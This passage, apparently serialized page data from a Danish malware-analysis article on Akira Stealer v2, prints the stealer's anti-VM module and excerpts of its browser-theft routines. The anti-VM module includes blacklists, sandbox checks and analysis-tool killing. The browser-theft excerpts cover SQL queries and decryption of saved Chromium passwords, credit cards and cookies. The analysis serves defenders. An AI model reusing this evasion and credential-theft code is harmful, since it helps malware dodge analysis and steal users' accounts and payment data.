'A15A930C-8251-9645-AF63-E45AD728C20C',\n    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',\n    'C7D23342-A5D4-68A1-59AC-CF40F735B363',\n    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',\n    '44B94D56-65AB-DC02-86A0-98143A7423BF',\n    '6608003F-ECE4-494E-B07E-1C4615D1D93C',\n    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',\n    '49434D53-0200-9036-2500-369025003AF0',\n    '8B4E8278-525C-7343-B825-280AEBCD3BCB',\n    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',\n    '79AF5279-16CF-4094-9758-F88A616D81B4',\n    'FE822042-A70C-D08B-F1D1-C207055A488F',\n    '76122042-C286-FA81-F0A8-514CC507B250',\n    '481E2042-A1AF-D390-CE06-A8F783B1E76A',\n    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',\n    '9961A120-E691-4FFE-B67B-F0E4115D5919'\n)\n",[551,5626,5624],{"__ignoreMap":594},[533,5628,5629],{},[540,5630,5631],{},"Blacklistede computernavne",[588,5633,5636],{"className":5634,"code":5635,"language":593},[591],"BLACKLISTED_COMPUTERNAMES = (\n    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',\n    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',\n    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',\n    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',\n    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',\n    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',\n    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',\n    'desktop-vkeons4', 'NTT-EFF-2W11WSS'\n)\n",[551,5637,5635],{"__ignoreMap":594},[533,5639,5640],{},[540,5641,5642],{},"Blacklistede brugerkonti",[588,5644,5647],{"className":5645,"code":5646,"language":593},[591],"BLACKLISTED_USERS = (\n    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',\n    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',\n    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',\n    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',\n    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'\n)\n",[551,5648,5646],{"__ignoreMap":594},[533,5650,5651],{},[540,5652,5653],{},"Blacklistede processer for analyseværktøjer",[588,5655,5658],{"className":5656,"code":5657,"language":593},[591],"BLACKLISTED_TASKS = (\n    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',\n    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',\n    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',\n    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',\n    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',\n    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',\n    'discordtokenprotector', 'glasswire', 'requestly'\n)\n",[551,5659,5657],{"__ignoreMap":594},[533,5661,5662],{},[540,5663,5664],{},"De centrale detektionsmetoder",[588,5666,5668],{"className":4494,"code":5667,"language":4496,"meta":594,"style":594},"@staticmethod\ndef checkUUID() -> bool:\n    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\",\n            shell=True, capture_output=True\n        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n\n@staticmethod\ndef checkComputerName() -> bool:\n    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n\n@staticmethod\ndef checkUsers() -> bool:\n    \"\"\"Current login username in VM users list.\"\"\"\n    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n\n@staticmethod\ndef checkHosting() -> bool:\n    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET', 'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n\n@staticmethod\ndef checkHTTPSimulation() -> bool:\n    \"\"\"\n    Attempt TLS to random subdomain.\n    Failure → possible HTTPS interception/sandbox.\n    \"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n        return True\n    except:\n        return False\n\n@staticmethod\ndef checkRegistry() -> bool:\n    \"\"\"\n    Look for VirtualBox/VMware in:\n    - Registry driver entries\n    - Video card name via WMIC\n    - Presence of VM-specific folders\n    \"\"\"\n    r1 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n        shell=True, capture_output=True\n    )\n    r2 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n        shell=True, capture_output=True\n    )\n    gpu = any(\n        x.lower() in subprocess.run(\n            \"wmic path win32_VideoController get name\",\n            shell=True, capture_output=True\n        ).stdout.decode().splitlines()[2].lower()\n        for x in (\"virtualbox\", \"vmware\")\n    )\n    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n\n@staticmethod\ndef killTasks() -> None:\n    \"\"\"Continuously terminate known analysis processes.\"\"\"\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[551,5669,5670,5674,5678,5683,5687,5691,5696,5701,5706,5710,5714,5718,5722,5726,5730,5735,5740,5744,5748,5752,5757,5762,5766,5770,5774,5779,5784,5789,5794,5800,5805,5810,5815,5820,5825,5830,5836,5842,5848,5853,5858,5863,5868,5874,5879,5884,5889,5894,5899,5904,5910,5916,5922,5928,5933,5938,5944,5950,5956,5962,5967,5972,5978,5983,5988,5994,6000,6006,6011,6017,6023,6028,6034,6040,6045,6050,6055,6061],{"__ignoreMap":594},[1683,5671,5672],{"class":1685,"line":1686},[1683,5673,4982],{},[1683,5675,5676],{"class":1685,"line":2062},[1683,5677,5140],{},[1683,5679,5680],{"class":1685,"line":2068},[1683,5681,5682],{},"    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n",[1683,5684,5685],{"class":1685,"line":2074},[1683,5686,5145],{},[1683,5688,5689],{"class":1685,"line":2395},[1683,5690,5150],{},[1683,5692,5693],{"class":1685,"line":2401},[1683,5694,5695],{},"            \"wmic csproduct get uuid\",\n",[1683,5697,5698],{"class":1685,"line":3060},[1683,5699,5700],{},"            shell=True, capture_output=True\n",[1683,5702,5703],{"class":1685,"line":3857},[1683,5704,5705],{},"        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n",[1683,5707,5708],{"class":1685,"line":3863},[1683,5709,5170],{},[1683,5711,5712],{"class":1685,"line":4108},[1683,5713,5175],{},[1683,5715,5716],{"class":1685,"line":5030},[1683,5717,5180],{},[1683,5719,5720],{"class":1685,"line":5036},[1683,5721,3854],{"emptyLinePlaceholder":325},[1683,5723,5724],{"class":1685,"line":5042},[1683,5725,4982],{},[1683,5727,5728],{"class":1685,"line":5048},[1683,5729,5210],{},[1683,5731,5732],{"class":1685,"line":5054},[1683,5733,5734],{},"    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n",[1683,5736,5737],{"class":1685,"line":5060},[1683,5738,5739],{},"    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1683,5741,5742],{"class":1685,"line":5066},[1683,5743,3854],{"emptyLinePlaceholder":325},[1683,5745,5746],{"class":1685,"line":5072},[1683,5747,4982],{},[1683,5749,5750],{"class":1685,"line":5078},[1683,5751,5275],{},[1683,5753,5754],{"class":1685,"line":5084},[1683,5755,5756],{},"    \"\"\"Current login username in VM users list.\"\"\"\n",[1683,5758,5759],{"class":1685,"line":5090},[1683,5760,5761],{},"    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n",[1683,5763,5764],{"class":1685,"line":5096},[1683,5765,3854],{"emptyLinePlaceholder":325},[1683,5767,5768],{"class":1685,"line":5102},[1683,5769,4982],{},[1683,5771,5772],{"class":1685,"line":5108},[1683,5773,5343],{},[1683,5775,5776],{"class":1685,"line":5114},[1683,5777,5778],{},"    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n",[1683,5780,5782],{"class":1685,"line":5781},26,[1683,5783,5348],{},[1683,5785,5787],{"class":1685,"line":5786},27,[1683,5788,5145],{},[1683,5790,5792],{"class":1685,"line":5791},28,[1683,5793,5357],{},[1683,5795,5797],{"class":1685,"line":5796},29,[1683,5798,5799],{},"            'GET', 'http://ip-api.com/line/?fields=hosting'\n",[1683,5801,5803],{"class":1685,"line":5802},30,[1683,5804,5372],{},[1683,5806,5808],{"class":1685,"line":5807},31,[1683,5809,5170],{},[1683,5811,5813],{"class":1685,"line":5812},32,[1683,5814,5381],{},[1683,5816,5818],{"class":1685,"line":5817},33,[1683,5819,3854],{"emptyLinePlaceholder":325},[1683,5821,5823],{"class":1685,"line":5822},34,[1683,5824,4982],{},[1683,5826,5828],{"class":1685,"line":5827},35,[1683,5829,5411],{},[1683,5831,5833],{"class":1685,"line":5832},36,[1683,5834,5835],{},"    \"\"\"\n",[1683,5837,5839],{"class":1685,"line":5838},37,[1683,5840,5841],{},"    Attempt TLS to random subdomain.\n",[1683,5843,5845],{"class":1685,"line":5844},38,[1683,5846,5847],{},"    Failure → possible HTTPS interception/sandbox.\n",[1683,5849,5851],{"class":1685,"line":5850},39,[1683,5852,5835],{},[1683,5854,5856],{"class":1685,"line":5855},40,[1683,5857,5416],{},[1683,5859,5861],{"class":1685,"line":5860},41,[1683,5862,5145],{},[1683,5864,5866],{"class":1685,"line":5865},42,[1683,5867,5425],{},[1683,5869,5871],{"class":1685,"line":5870},43,[1683,5872,5873],{},"        return True\n",[1683,5875,5877],{"class":1685,"line":5876},44,[1683,5878,5170],{},[1683,5880,5882],{"class":1685,"line":5881},45,[1683,5883,5381],{},[1683,5885,5887],{"class":1685,"line":5886},46,[1683,5888,3854],{"emptyLinePlaceholder":325},[1683,5890,5892],{"class":1685,"line":5891},47,[1683,5893,4982],{},[1683,5895,5897],{"class":1685,"line":5896},48,[1683,5898,5468],{},[1683,5900,5902],{"class":1685,"line":5901},49,[1683,5903,5835],{},[1683,5905,5907],{"class":1685,"line":5906},50,[1683,5908,5909],{},"    Look for VirtualBox/VMware in:\n",[1683,5911,5913],{"class":1685,"line":5912},51,[1683,5914,5915],{},"    - Registry driver entries\n",[1683,5917,5919],{"class":1685,"line":5918},52,[1683,5920,5921],{},"    - Video card name via WMIC\n",[1683,5923,5925],{"class":1685,"line":5924},53,[1683,5926,5927],{},"    - Presence of VM-specific folders\n",[1683,5929,5931],{"class":1685,"line":5930},54,[1683,5932,5835],{},[1683,5934,5936],{"class":1685,"line":5935},55,[1683,5937,5473],{},[1683,5939,5941],{"class":1685,"line":5940},56,[1683,5942,5943],{},"        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n",[1683,5945,5947],{"class":1685,"line":5946},57,[1683,5948,5949],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n",[1683,5951,5953],{"class":1685,"line":5952},58,[1683,5954,5955],{},"        shell=True, capture_output=True\n",[1683,5957,5959],{"class":1685,"line":5958},59,[1683,5960,5961],{},"    )\n",[1683,5963,5965],{"class":1685,"line":5964},60,[1683,5966,5488],{},[1683,5968,5970],{"class":1685,"line":5969},61,[1683,5971,5943],{},[1683,5973,5975],{"class":1685,"line":5974},62,[1683,5976,5977],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n",[1683,5979,5981],{"class":1685,"line":5980},63,[1683,5982,5955],{},[1683,5984,5986],{"class":1685,"line":5985},64,[1683,5987,5961],{},[1683,5989,5991],{"class":1685,"line":5990},65,[1683,5992,5993],{},"    gpu = any(\n",[1683,5995,5997],{"class":1685,"line":5996},66,[1683,5998,5999],{},"        x.lower() in subprocess.run(\n",[1683,6001,6003],{"class":1685,"line":6002},67,[1683,6004,6005],{},"            \"wmic path win32_VideoController get name\",\n",[1683,6007,6009],{"class":1685,"line":6008},68,[1683,6010,5700],{},[1683,6012,6014],{"class":1685,"line":6013},69,[1683,6015,6016],{},"        ).stdout.decode().splitlines()[2].lower()\n",[1683,6018,6020],{"class":1685,"line":6019},70,[1683,6021,6022],{},"        for x in (\"virtualbox\", \"vmware\")\n",[1683,6024,6026],{"class":1685,"line":6025},71,[1683,6027,5961],{},[1683,6029,6031],{"class":1685,"line":6030},72,[1683,6032,6033],{},"    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n",[1683,6035,6037],{"class":1685,"line":6036},73,[1683,6038,6039],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n",[1683,6041,6043],{"class":1685,"line":6042},74,[1683,6044,3854],{"emptyLinePlaceholder":325},[1683,6046,6048],{"class":1685,"line":6047},75,[1683,6049,4982],{},[1683,6051,6053],{"class":1685,"line":6052},76,[1683,6054,5562],{},[1683,6056,6058],{"class":1685,"line":6057},77,[1683,6059,6060],{},"    \"\"\"Continuously terminate known analysis processes.\"\"\"\n",[1683,6062,6064],{"class":1685,"line":6063},78,[1683,6065,5567],{},[861,6067,6069],{"id":6068},"_7313-eksekverings-og-afbrydelseslogik","7.3.13 Eksekverings- og afbrydelseslogik",[533,6071,867],{},[2082,6073,6074,6088,6101],{},[607,6075,6076,6079,6080,6083,6084,6087],{},[540,6077,6078],{},"Initialisering:"," Inde i konstruktøren ",[551,6081,6082],{},"Akira.__init__()"," kalder malwaren omgående ",[551,6085,6086],{},"VmProtect.isVM(1)"," for at gennemføre hurtige virtualiseringstjek med lav overhead, for eksempel hostname, bruger og HTTPS-simulering.",[607,6089,6090,6093,6094,6097,6098,6100],{},[540,6091,6092],{},"Dybdegående inspektion:"," Passerer den første test, kalder den ",[551,6095,6096],{},"VmProtect.isVM(2)",", hvilket udløser mere omfattende tjek, herunder validering af hardware-UUID, hosting-detektion via ",[551,6099,5328],{}," og scanning af registry-artefakter.",[607,6102,6103,6106,6107,6109,6110,6112],{},[540,6104,6105],{},"Afbrydelsesvejen:"," Returnerer et af tjekkene ",[551,6108,4672],{},", hvilket peger på et virtuelt miljø eller analysemiljø, kører koden ",[551,6111,4676],{}," og afslutter eksekveringen, før nogen rutiner til dataindsamling eller eksfiltrering går i gang.",[861,6114,6116],{"id":6115},"_7314-konklusion","7.3.14 Konklusion",[533,6118,867],{},[533,6120,6121,6122,2032,6124,6126],{},"Modulet ",[551,6123,4618],{},[4631,6125,651],{}," demonstrerer et lagdelt forsvar mod analyse, der udnytter både lokale systemfingeraftryk og netværksbaserede heuristikker. Ved at forstå og instrumentere netop disse tjek kan forsvarere vende situationen og opdage den slags undvigende malware i produktionsmiljøer.",[714,6128,6130],{"id":6129},"_74-eksfiltrering-af-browserdata","7.4 Eksfiltrering af browserdata",[533,6132,720],{},[533,6134,6135,6136,558,6139,6142],{},"Et af kerneformålene med Akira Stealer v2 er storstilet udtræk af følsomme data, browseren har gemt. Malwaren implementerer skræddersyede moduler rettet mod både ",[540,6137,6138],{},"Chromium-baserede",[540,6140,6141],{},"Gecko-baserede (Firefox)"," browsere. Den kan udtrække og dekryptere gemte adgangskoder, cookies, kreditkortdata, autofyld-poster og endda sessionstokens, der kan bruges til at kapre konti helt.",[533,6144,6145],{},[540,6146,6147],{},"1. Opsætning af arbejdsområdet",[588,6149,6151],{"className":4494,"code":6150,"language":4496,"meta":594,"style":594},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\nos.makedirs(client_dir, exist_ok=True)\nfor sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[551,6152,6153,6158,6163,6168],{"__ignoreMap":594},[1683,6154,6155],{"class":1685,"line":1686},[1683,6156,6157],{},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\n",[1683,6159,6160],{"class":1685,"line":2062},[1683,6161,6162],{},"os.makedirs(client_dir, exist_ok=True)\n",[1683,6164,6165],{"class":1685,"line":2068},[1683,6166,6167],{},"for sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n",[1683,6169,6170],{"class":1685,"line":2074},[1683,6171,6172],{},"    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[604,6174,6175,6182,6185,6188,6191],{},[607,6176,6177,6178],{},"Opretter et engangsområde til staging under systemets temp-mappe, navngivet efter offerets maskine (%TEMP%\\DESKTOP-",[6179,6180,6181],"hostname",{},"), så alle eksfiltrerede artefakter samles på et sted, der let kan arkiveres.",[607,6183,6184],{},"Isolerer data efter type: seks dedikerede undermapper (Passwords, Cookies, CreditCards, History, Autofill, Wallets) forhindrer navnesammenstød og gør den senere zipning enklere, for hver udtræksrutine skriver kun i sin egen mappe.",[607,6186,6187],{},"Idempotent oprettelse af mapper bruger exist_ok=True, så hvis malwaren kører igen, for eksempel ved genstart eller via persistens, crasher den ikke og overskriver ikke eksisterende data. Nye elementer føjes blot til den samme struktur.",[607,6189,6190],{},"Muliggør selektiv oprydning: når upload og notifikation er gennemført, kan stealeren kalde Utils.clear_client_folder() for rekursivt at slette udelukkende sit eget arbejdsområde, uden at efterlade filer.",[607,6192,6193],{},"Baner vejen for parallelle udtrækstråde: fordi alle mål er oprettet på forhånd, kan baggrundstråde, der høster loginoplysninger fra browsere, cookies, autofyld, data fra kryptowallets og så videre, skrive resultater med det samme uden yderligere tjek. Det mindsker overhead og indsnævrer det vindue, hvor defensive hooks kan opdage uventet fil-I/O.",[533,6195,6196],{},[540,6197,6198],{},"2. Understøttede browsere",[604,6200,6201,6243],{},[607,6202,6203,6205],{},[540,6204,6138],{},[604,6206,6207,6210,6213,6216,6219,6222,6225,6228,6231,6234,6237,6240],{},[607,6208,6209],{},"Google Chrome (Stable & SxS)",[607,6211,6212],{},"Microsoft Edge",[607,6214,6215],{},"Brave Browser",[607,6217,6218],{},"Opera & Opera GX",[607,6220,6221],{},"Chromium",[607,6223,6224],{},"Comodo Dragon",[607,6226,6227],{},"Epic Privacy Browser",[607,6229,6230],{},"Iridium Browser",[607,6232,6233],{},"UR Browser",[607,6235,6236],{},"Vivaldi Browser",[607,6238,6239],{},"Yandex Browser",[607,6241,6242],{},"Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran",[607,6244,6245,6248,6249,1112,6252,6263,6265,6266,6275,6277,6278,620,6281,6284],{},[540,6246,6247],{},"Firefox-baserede"," (via ",[551,6250,6251],{},"GeckoDriver",[604,6253,6254,6257,6260],{},[607,6255,6256],{},"Mozilla Firefox",[607,6258,6259],{},"Waterfox",[607,6261,6262],{},"Pale Moon",[698,6264],{},"Akira finder dynamisk brugerprofilerne ved hjælp af miljøvariabler og velkendte mappestrukturer:",[588,6267,6269],{"className":4494,"code":6268,"language":4496,"meta":594,"style":594},"user_path = os.path.join(os.getenv(\"LOCALAPPDATA\"), \"Google\", \"Chrome\", \"User Data\")\n",[551,6270,6271],{"__ignoreMap":594},[1683,6272,6273],{"class":1685,"line":1686},[1683,6274,6268],{},[698,6276],{},"Den gennemgår rekursivt de tilgængelige browserprofiler (for eksempel ",[551,6279,6280],{},"Default",[551,6282,6283],{},"Profile 1"," osv.) og går efter SQLite-databaserne i de stier.",[861,6286,6288],{"id":6287},"_741-udtrukne-datatyper","7.4.1 Udtrukne datatyper",[533,6290,867],{},[1391,6292,4686,6293],{},[1407,6294,6295,4686,6308,4686,6321,4686,6333,4686,6345,4686,6357,4686,6368],{},[1397,6296,4691,6297,4691,6301,4691,6305,4686],{},[1400,6298,6300],{"style":6299},"text-align: left; width: 22%;","Datatype",[1400,6302,6304],{"style":6303},"text-align: left; width: 28%;","Kildefil",[1400,6306,6307],{},"Bemærkninger",[1397,6309,4691,6310,4691,6313,4691,6318,4686],{},[1412,6311,6312],{},"Gemte adgangskoder",[1412,6314,6315,6317],{},[551,6316,557],{}," (Chromium)",[1412,6319,6320],{},"Dekrypteres via DPAPI eller AES-GCM (efter Chromium v80)",[1397,6322,4691,6323,4691,6326,4691,6330,4686],{},[1412,6324,6325],{},"Cookies",[1412,6327,6328],{},[551,6329,6325],{},[1412,6331,6332],{},"Kan indeholde sessionstokens, især til Google- og Facebook-konti",[1397,6334,4691,6335,4691,6338,4691,6342,4686],{},[1412,6336,6337],{},"Autofyld-data",[1412,6339,6340],{},[551,6341,561],{},[1412,6343,6344],{},"Adresser, e-mailadresser, telefonnumre og lignende",[1397,6346,4691,6347,4691,6350,4691,6354,4686],{},[1412,6348,6349],{},"Kreditkort",[1412,6351,6352],{},[551,6353,561],{},[1412,6355,6356],{},"Krypteret, kræver masternøglen",[1397,6358,4691,6359,4691,6362,4691,6365,4686],{},[1412,6360,6361],{},"Sessionstokens",[1412,6363,6364],{},"I hukommelsen og cookies",[1412,6366,6367],{},"Omfatter Gmail, Google-konti og replay af Discord OAUTH",[1397,6369,4691,6370,4691,6373,4691,6381,4686],{},[1412,6371,6372],{},"Historik og URL'er",[1412,6374,6375,620,6378],{},[551,6376,6377],{},"History",[551,6379,6380],{},"Visited Links",[1412,6382,6383],{},"Blev også eksfiltreret til angriberen",[826,6385],{"className":6386},[829,830],[533,6388,6389,6392],{},[540,6390,6391],{},"3. Udtræksmodulerne","\nNår malwareforfattere går efter browsere, er deres største skattekister de forskellige SQLite-databaser, hvor Chrome, Firefox og deres slægtninge gemmer loginoplysninger, cookies, historik og autofyld-poster. astor.py sætter letvægts-Python og native API'er sammen til metodisk at plukke hver enkelt bid data, og endda til at replaye levende OAuth-sessioner, uden at efterlade spor. Nedenfor følger en dybdegående gennemgang modul for modul, ordret fra koden.",[861,6394,6396,6397,1112],{"id":6395},"_742-adgangskodedumper-chromiumgetpasswords","7.4.2 Adgangskodedumper (",[551,6398,6399],{},"Chromium.GetPasswords",[533,6401,867],{},[533,6403,6404],{},"Modulet gennemsøger systematisk alle Chromium-baserede browserprofiler for at udtrække gemte loginoplysninger. Den går efter SQLite-databasen Login Data, henter brugernavne og krypterede adgangskoder og bruger derefter platformens krypteringsnøgle, hentet via DPAPI eller AES-GCM, til at dekryptere dem til klartekst. De loginoplysninger er meget værdifulde til at bevæge sig videre efter en kompromittering eller til at overtage konti.",[588,6406,6408],{"className":4494,"code":6407,"language":4496,"meta":594,"style":594},"for root, _, files in os.walk(self.BrowserPath):\n    for file in files:\n        if file.lower() == \"login data\":\n            # Copy DB → open → extract rows\n            results = cursor.execute(\n                \"SELECT origin_url, username_value, password_value FROM logins\"\n            ).fetchall()\n            for url, user, pwd_blob in results:\n                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n                passwords.append((url, user, clear_pwd))\n",[551,6409,6410,6415,6420,6425,6430,6435,6440,6445,6450,6455],{"__ignoreMap":594},[1683,6411,6412],{"class":1685,"line":1686},[1683,6413,6414],{},"for root, _, files in os.walk(self.BrowserPath):\n",[1683,6416,6417],{"class":1685,"line":2062},[1683,6418,6419],{},"    for file in files:\n",[1683,6421,6422],{"class":1685,"line":2068},[1683,6423,6424],{},"        if file.lower() == \"login data\":\n",[1683,6426,6427],{"class":1685,"line":2074},[1683,6428,6429],{},"            # Copy DB → open → extract rows\n",[1683,6431,6432],{"class":1685,"line":2395},[1683,6433,6434],{},"            results = cursor.execute(\n",[1683,6436,6437],{"class":1685,"line":2401},[1683,6438,6439],{},"                \"SELECT origin_url, username_value, password_value FROM logins\"\n",[1683,6441,6442],{"class":1685,"line":3060},[1683,6443,6444],{},"            ).fetchall()\n",[1683,6446,6447],{"class":1685,"line":3857},[1683,6448,6449],{},"            for url, user, pwd_blob in results:\n",[1683,6451,6452],{"class":1685,"line":3863},[1683,6453,6454],{},"                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n",[1683,6456,6457],{"class":1685,"line":4108},[1683,6458,6459],{},"                passwords.append((url, user, clear_pwd))\n",[604,6461,6462,6475,6481,6489,6506],{},[607,6463,6464,6467,6468,6470,6471,6474],{},[540,6465,6466],{},"Finder"," hver ",[551,6469,557],{},"-SQLite-database under browserens ",[551,6472,6473],{},"User Data","-mappe.",[607,6476,6477,6480],{},[540,6478,6479],{},"Kopierer"," til en midlertidig fil for at undgå låse fra browseren.",[607,6482,6483,972,6486,586],{},[540,6484,6485],{},"SQL-forespørgsel",[551,6487,6488],{},"SELECT origin_url, username_value, password_value FROM logins",[607,6490,6491,6467,6494,6497,6498,6501,6502,6505],{},[540,6492,6493],{},"Dekrypterer",[551,6495,6496],{},"password_value","-blob via AES-GCM (",[551,6499,6500],{},"v10","/",[551,6503,6504],{},"v11",") eller med Windows DPAPI som fallback.",[607,6507,6508,6511,6512,586],{},[540,6509,6510],{},"Skriver"," resultatet til ",[551,6513,6514],{},"Passwords/\u003CBrowserName> Passwords.txt",[861,6516,6518,6519,1112],{"id":6517},"_743-kreditkortdumper-chromiumgetcreditcards","7.4.3 Kreditkortdumper (",[551,6520,6521],{},"Chromium.GetCreditCards",[533,6523,867],{},[533,6525,6526],{},"Her henter stealeren gemte kreditkortdata fra hver browserprofils Web Data-fil. Den koncentrerer sig om at udtrække udløbsoplysninger og krypterede kortnumre, som derefter dekrypteres med den samme logik som adgangskoderne. CVV-koder gemmes typisk ikke, men de genfundne oplysninger kan alligevel misbruges til card-not-present-svindel.",[588,6528,6530],{"className":4494,"code":6529,"language":4496,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n).fetchall()\nfor month, year, enc_cc in results:\n    cc_number = self.Decrypt(enc_cc, encryptionKey)\n    ccs.append((cc_number, month, year))\n",[551,6531,6532,6537,6542,6547,6552,6557],{"__ignoreMap":594},[1683,6533,6534],{"class":1685,"line":1686},[1683,6535,6536],{},"results = cursor.execute(\n",[1683,6538,6539],{"class":1685,"line":2062},[1683,6540,6541],{},"    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n",[1683,6543,6544],{"class":1685,"line":2068},[1683,6545,6546],{},").fetchall()\n",[1683,6548,6549],{"class":1685,"line":2074},[1683,6550,6551],{},"for month, year, enc_cc in results:\n",[1683,6553,6554],{"class":1685,"line":2395},[1683,6555,6556],{},"    cc_number = self.Decrypt(enc_cc, encryptionKey)\n",[1683,6558,6559],{"class":1685,"line":2401},[1683,6560,6561],{},"    ccs.append((cc_number, month, year))\n",[604,6563,6564,6573,6580,6588],{},[607,6565,6566,6569,6570,6572],{},[540,6567,6568],{},"Går efter"," SQLite-lagrene i ",[551,6571,561],{}," under hver profil.",[607,6574,6575,972,6577,586],{},[540,6576,6485],{},[551,6578,6579],{},"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards",[607,6581,6582,3261,6584,6587],{},[540,6583,6493],{},[551,6585,6586],{},"card_number_encrypted"," præcis som adgangskodeblobbene.",[607,6589,6590,6593,6594,586],{},[540,6591,6592],{},"Skriver resultatet"," til ",[551,6595,6596],{},"CreditCards/\u003CBrowserName> CreditCards.txt",[861,6598,6600,6601,1112],{"id":6599},"_744-cookiedumper-chromiumgetcookies","7.4.4 Cookiedumper (",[551,6602,6603],{},"Chromium.GetCookies",[533,6605,867],{},[533,6607,6608],{},"Cookies, og især sessionscookies, er førstevalget, når konti skal kapres uden adgangskoder. Modulet dumper alle cookiefiler på tværs af profiler, dekrypterer dem og samler væsentlige metadata som domæne, navn og udløbstid. Sammen med fingerprinting kan cookies af den type bane vejen for replay-angreb mod autentificerede tjenester uden videre modstand.",[588,6610,6612],{"className":4494,"code":6611,"language":4496,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n).fetchall()\nfor host, name, path, blob, expiry in results:\n    cookie_val = self.Decrypt(blob, encryptionKey)\n    cookies.append((host, name, path, cookie_val, expiry))\n",[551,6613,6614,6618,6623,6627,6632,6637],{"__ignoreMap":594},[1683,6615,6616],{"class":1685,"line":1686},[1683,6617,6536],{},[1683,6619,6620],{"class":1685,"line":2062},[1683,6621,6622],{},"    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n",[1683,6624,6625],{"class":1685,"line":2068},[1683,6626,6546],{},[1683,6628,6629],{"class":1685,"line":2074},[1683,6630,6631],{},"for host, name, path, blob, expiry in results:\n",[1683,6633,6634],{"class":1685,"line":2395},[1683,6635,6636],{},"    cookie_val = self.Decrypt(blob, 